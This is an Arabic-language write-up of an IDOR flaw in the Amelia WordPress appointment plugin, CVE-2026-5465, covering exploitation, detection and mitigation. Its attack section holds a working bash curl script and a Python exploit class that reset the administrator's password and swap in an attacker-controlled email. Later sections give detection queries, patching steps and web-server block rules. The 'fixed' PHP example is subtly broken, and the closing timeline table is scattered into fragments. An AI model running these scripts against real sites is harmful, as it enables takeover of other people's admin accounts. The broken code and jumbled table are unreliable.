
استغلال وتحليل لـ CVE-2026-5465، ثغرة IDOR في إضافة Amelia لـ WordPress تسمح لدور المزود (Provider) المُصادق بتصعيد الصلاحيات وتحقيق الاستيلاء على الحساب عبر مرجع كائن مباشر غير آمن.
ثغرة حرجة من نوع المرجع المباشر غير الآمن للكائنات (IDOR) في إضافة Amelia تسمح لمستخدم مُصادق بدور موظف (Provider) بتصعيد الامتيازات حتى السيطرة الكاملة (Account Takeover) على موقع WordPress، بما في ذلك الوصول الإداري.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2026-5465 |
| البرنامج | Amelia – Appointment Booking Calendar |
| الإصدارات المتأثرة | ≤ 2.1.3 |
| الإصدار المُصحح | ≥ 2.2.0 |
| النوع | مراجع الكائنات المباشرة غير الآمنة (IDOR) / التحكم في الوصول المعطوب |
| ناقل الهجوم | شبكة (مُصادق) |
| التعقيد | منخفض |
| التأثير | حرج (السيطرة على الحساب) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (تجاوز التفويض) |
يقع الخلل في الفئة UpdateProviderCommandHandler التي تعالج تحديثات ملفات تعريف المزودين.
التدفق القابل للاستغلال:
1. مستخدم مُصادق بدور "Provider" (موظف)
↓
2. يرسل طلب POST إلى نقطة نهاية التحديث
{
"externalId": 1, // معرف المدير (وليس معرف المهاجم)
"firstName": "Admin Pirateado",
"email": "[email protected]",
"password": "nueva_contraseña"
}
↓
3. النظام لا يتحقق مما إذا كان 'externalId' يخص المستخدم الحالي
↓
4. يستخدم wp_set_password(externalId, new_password)
↓
5. تم تغيير كلمة مرور المدير → السيطرة على الحساب
غياب التحقق من الملكية (Ownership Check) قبل معالجة البيانات الحساسة:
// كود ضعيف (مبسط)
public function updateProvider($providerId, $data) {
// ❌ لا يتحقق مما إذا كان providerId == المستخدم الحالي
$provider = Provider::find($providerId);
// ينفذ مباشرة دون تحقق
wp_set_password($data['password'], $provider->wp_user_id);
}
// الكود الصحيح
public function updateProvider($providerId, $data) {
// ✅ يتحقق من الملكية
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1
# الحصول على رمز NONCE الأمني (إذا وجد)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# تنفيذ التحديث الخبيث
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] إذا كانت الاستجابة 200، فقد تم اختراق المدير"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""يستغل IDOR لتغيير كلمة مرور المدير"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] تم الاستغلال: المستخدم {target_user_id} تم اختراقه")
print(f"[*] كلمة المرور الجديدة: {new_password}")
return True
else:
print(f"[✗] فشل: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] خطأ في الاتصال: {e}")
return False
# الاستخدام
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://ejemplo.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
سجل تدقيق WordPress (إذا كان مثبتًا):
المستخدم: [معرف Provider]
الإجراء: تم تغيير كلمة مرور المستخدم
المستخدم المتأثر: Administrator
الطابع الزمني: [وقت مشبوه]
سجلات الخادم (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [مرتفع]
→ استجابة 200 OK
قاعدة بيانات WordPress:
-- تغييرات كلمة المرور غير المصرح بها
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- تغييرات البريد الإلكتروني المشبوهة
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/# عبر لوحة إدارة WordPress
1. الانتقال إلى: الإضافات > الإضافات المثبتة
2. البحث عن: "Amelia"
3. النقر: "تحديث الآن"
4. الحد الأدنى للإصدار الآمن: 2.2.0+
# عبر WP-CLI
wp plugin update amelia --allow-root
# عبر WP-CLI
wp plugin deactivate amelia --allow-root
# عبر FTP/SFTP
إعادة التسمية: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# السماح بطلبات GET فقط
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
إذا كان الموقع قد تم استغلاله بالفعل:
-- تغيير كلمة مرور المدير عبر CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# تثبيت ومراجعة الإضافة: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// في wp-config.php، أعد توليد:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
قاعدة Cloudflare WAF:
- حظر: POST إلى /wp-json/amelia/v1/providers/[0-9]+ من عناوين IP غير مدرجة في القائمة البيضاء
# تثبيت إضافات التدقيق
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// تقييد صلاحيات Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| التاريخ | الحدث |
|---|---|
| 2026-01-15 | تم الإبلاغ عن الثغرة إلى فريق Amelia |
| 2026-02-01 |
التصنيف: 🔴 حرج - يتطلب إجراءً فوريًا
آخر تحديث: أبريل 2026
المؤلف: فريق الأمان
| المعامل | النوع | التأثير |
|---|
externalId | عدد صحيح | تغيير الهوية (IDOR الأساسي) |
password | نص | تعديل كلمة المرور |
email | بريد إلكتروني | سرقة الجلسة إذا تمت إعادة التعيين |
firstName, lastName | نص | تغيير بيانات غير حرج |
| توفر التصحيح (v2.2.0) |
| 2026-02-10 | النشر المسؤول لـ CVE |
| 2026-02-11 | استغلالات في البرية |
| اليوم | توصية بالتحديث العاجل |